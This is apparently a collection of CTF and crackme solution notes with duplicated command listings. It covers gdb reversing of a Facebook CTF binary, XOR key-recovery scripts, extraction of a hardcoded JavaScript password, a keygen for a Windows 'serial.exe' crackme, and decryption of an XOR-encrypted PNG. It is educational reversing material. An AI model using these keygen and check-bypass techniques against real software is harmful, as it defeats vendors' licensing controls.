0x8048491: ja 0x8048403 (gdb) quit # cat canada.py #!/usr/bin/python constraint = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t$f1(.dq\177te2.}o##%`lyy`$ x2f" xorkey = "MOVEFAST" key = "" for i in range(len(constraint)): c = ord(constraint[i]) x = ord(xorkey[i%8]) #~k ^ ~x = c k = ~(c^~x) key += hex(k)[2:].decode("hex") print key # ./canada.py 60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2 # ./howtobasic Facebook CTF Enter flag: 60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2 Winner! Post your flag.
gunzip howtobasic.gz
file howtobasic
chmod +x howtobasic
gdb --quiet ./howtobasic
set disassembly-flavor intel
info file
run
^C
finish
1234567890
b *0x080483b6
x/2i 0x080483b6
x/s $eax
b *0x80483f5
continue
x/3i 0x080483f5
b *0x80483fd
x/2i 0x080483fd
b *0x8048486
x/4i 0x08048486
x/xw $esp+0x14
x/xw $esp+0x1c
b *0x8048403
x/20i 0x08048403
x/5i 0x8048481
quit
cat canada.py
./canada.py
./howtobasic
# echo -n '425a6839314159265359d77d47c600ca357b84e810004070edfd1a082a7fffff2b0000800860083deaf9428555294ad51a5512b4c5365ef11200000000000003410a8cca604668004600000261800068000c9a00000d008554432680d00680034000009a95289ea651a6046d09b4098200c4c01494a6a6940007a806806400007b7b65fec32018b455437f94574ce0c6e89aa40860733f66a6430f6393e3b9dd7cfcbb7d5d7d1cba38eae3a82257a278eb6d36b6b28894a68696858a96a82a95b028c2e26db6844d60d3359ab6b69ad8d95c5ca5aa71a6138a63566da9031018a2d34d929b52b6663260db6aada6cb30cd0438b1049b5559f0299840c94ca9b2ca6ad121a2c26aacd0acc451b4954d343480cb6a9acc622b8ec413d4efdfbff7bbc52354d0a17286a4abf2db616465828b89b10187a3f6f2a9d9bd3a191caa1e2ef2e101cc8b534a8e25354754d491e1f8fa3b97878d4e5324e34bfcf36e240bb2ad09d66db136ccad904b652862d0952ccae96e1616b0b8a5ac8d36d444d81b3656c0352b232b22cd2ad5b6b012b2b22b6d4a62336ab29b0d52c62cc593068b65616b48b26db6d56a9b66d59b5b034b2526616c555caab394495db006d990aeccb0b4a25c615c7358e01cd85b2d956d4660a198a16c50da27246900e2ca90b8c9473556d0a2ada2bb95288c24985cf60d6b32d6a9a594dac406436b6ac11954a30b4c834cab699298db4a564c4dad6b588da9b26a018a6aa985b199a992d531294932d44910814b304c80d02936564866881acda0c6698a81294a02cc44030af363c9b3eb97ab8f8c1cfb83aeb75e7ebae9e7faf77ebeade3ce77edbc7cdeef967acf65d787c20f0536454b36c0d998ab35503686ccd84795550e50f22034b0b5511cd49aa33446c09a8d66a24ca321598596cb535880d890d95b4226cdac8a971252c9153c38054b06a6aab416b22a58a29ad121d2a34924728aae0918ba701570495855cd785550e2205c06a5266ab9491ca1c35550d5017800ec6da6c98aa5649a24334a3166a84b96d8a970256d22534c852cdadac284b5052b56a922d0c4a596a36998c46a98ad98d532d25acb2ad1416916a98165491a14856aa942205002a61668566162d69534ad0c2d16295aca455b0616126c36141929ab5325986832159223101859252c2329b42c9332a8d0834daab4b02c84ad858b16d3584ac8d6b55a180655a86d5546b150655894d2d06d294c90306696ca505050c2b2a349144a4c440aa56ac064d16cb62b2daa1a2d628c5915ad5604cacc952d9828955408519500071631e1f7c1f867f11d2f076331f1821e0db0604cc0a51e54cd10fe906c2531dc02045520201c25547cd09fa1369c5c29564c3d13b3241deef406acc8c633fe8d450b21c001007e2ee48a70a121aefa8f8c' | xxd -p -r | tar xvjf - main.js # grep 'var loginScript' main.js | sed 's/var /exports./' > variable.js # nodejs > ls = require('./variable.js'); > eval(ls.loginScript.slice(2,-2)); [ 'if (document.getElementById(\'user_pass\').value === "0f97972a0efd34ebb3111ac8ec6976740529df531e94df14d0ee8614a07d153b") { alert(\'win\'); } else { alert(\'try again\'); }' ]
echo -n '425a6839314159265359d77d47c600ca357b84e810004070edfd1a082a7fffff2b0000800860083deaf9428555294ad51a5512b4c5365ef11200000000000003410a8cca604668004600000261800068000c9a00000d008554432680d00680034000009a95289ea651a6046d09b4098200c4c01494a6a6940007a806806400007b7b65fec32018b455437f94574ce0c6e89aa40860733f66a6430f6393e3b9dd7cfcbb7d5d7d1cba38eae3a82257a278eb6d36b6b28894a68696858a96a82a95b028c2e26db6844d60d3359ab6b69ad8d95c5ca5aa71a6138a63566da9031018a2d34d929b52b6663260db6aada6cb30cd0438b1049b5559f0299840c94ca9b2ca6ad121a2c26aacd0acc451b4954d343480cb6a9acc622b8ec413d4efdfbff7bbc52354d0a17286a4abf2db616465828b89b10187a3f6f2a9d9bd3a191caa1e2ef2e101cc8b534a8e25354754d491e1f8fa3b97878d4e5324e34bfcf36e240bb2ad09d66db136ccad904b652862d0952ccae96e1616b0b8a5ac8d36d444d81b3656c0352b232b22cd2ad5b6b012b2b22b6d4a62336ab29b0d52c62cc593068b65616b48b26db6d56a9b66d59b5b034b2526616c555caab394495db006d990aeccb0b4a25c615c7358e01cd85b2d956d4660a198a16c50da27246900e2ca90b8c9473556d0a2ada2bb95288c24985cf60d6b32d6a9a594dac406436b6ac11954a30b4c834cab699298db4a564c4dad6b588da9b26a018a6aa985b199a992d531294932d44910814b304c80d02936564866881acda0c6698a81294a02cc44030af363c9b3eb97ab8f8c1cfb83aeb75e7ebae9e7faf77ebeade3ce77edbc7cdeef967acf65d787c20f0536454b36c0d998ab35503686ccd84795550e50f22034b0b5511cd49aa33446c09a8d66a24ca321598596cb535880d890d95b4226cdac8a971252c9153c38054b06a6aab416b22a58a29ad121d2a34924728aae0918ba701570495855cd785550e2205c06a5266ab9491ca1c35550d5017800ec6da6c98aa5649a24334a3166a84b96d8a970256d22534c852cdadac284b5052b56a922d0c4a596a36998c46a98ad98d532d25acb2ad1416916a98165491a14856aa942205002a61668566162d69534ad0c2d16295aca455b0616126c36141929ab5325986832159223101859252c2329b42c9332a8d0834daab4b02c84ad858b16d3584ac8d6b55a180655a86d5546b150655894d2d06d294c90306696ca505050c2b2a349144a4c440aa56ac064d16cb62b2daa1a2d628c5915ad5604cacc952d9828955408519500071631e1f7c1f867f11d2f076331f1821e0db0604cc0a51e54cd10fe906c2531dc02045520201c25547cd09fa1369c5c29564c3d13b3241deef406acc8c633fe8d450b21c001007e2ee48a70a121aefa8f8c' | xxd -p -r | tar xvjf -
grep 'var loginScript' main.js | sed 's/var /exports./' > variable.js
nodejs
ls = require('./variable.js');
eval(ls.loginScript.slice(2,-2));
# wget --quiet http://www.securityartwork.es/wp-content/uploads/2013/11/serial.exe # file serial.exe serial.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
wget --quiet http://www.securityartwork.es/wp-content/uploads/2013/11/serial.exe
file serial.exe
004019B5 |. E8 F6FCFFFF CALL serial.004016B0 00401776 . 83E8 0F SUB EAX,0F 004018FA . 39C2 CMP EDX,EAX
004018D2 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] 004018D5 . 83C0 01 ADD EAX,1 004018D8 . 8B0485 00404000 MOV EAX,DWORD PTR DS:[EAX*4+404000] 004018DF . 8B1485 40704000 MOV EDX,DWORD PTR DS:[EAX*4+407040] 004018E6 . 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] 004018E9 . 83C0 02 ADD EAX,2 004018EC . 8B0485 00404000 MOV EAX,DWORD PTR DS:[EAX*4+404000] 004018F3 . 8B0485 40704000 MOV EAX,DWORD PTR DS:[EAX*4+407040] 004018FA . 39C2 CMP EDX,EAX 004018FC . 75 0C JNZ SHORT serial.0040190A
# cat serial.py #!/usr/bin/python check = [0,4,6,0,6,0,0,5,6,3,0,5,6,9,2,5] key = "" for i in range(16): for j in range(10): if i*j % 10 == check[i]: key += str(j) break print key # ./serial.py 0430400527053331 # cat serials.py #!/usr/bin/python check = [0,4,6,0,6,0,0,5,6,3,0,5,6,9,2,5] key = "" def serial(key,p): for n in range(10): if p*n % 10 == check[p]: if p < 15: serial(key + str(n),p+1) else: print key + str(n) serial("",0) C:\> serial.exe 0430400527053331 Valid serial number :-)
cat serial.py
./serial.py
cat serials.py
serial.exe 0430400527053331
# file enc.png enc.png: data # cat png.py #!/usr/bin/python png = 0x89504e470d0a enc = 0xf1601c2c3e73 key = str(hex(png^enc))[2:].decode("hex") print key encfd = open("enc.png","rb") data = encfd.read() encfd.close() size = len(data) decfd=open("dec.png","wb") j = 0 for i in data: decfd.write(chr(ord(i)^ord(key[j%6]))) j+=1 decfd.close() # ./png.py x0Rk3y # file dec.png dec.png: PNG image data, 640 x 400, 8-bit/color RGBA, non-interlaced
file enc.png
cat png.py
./png.py
file dec.png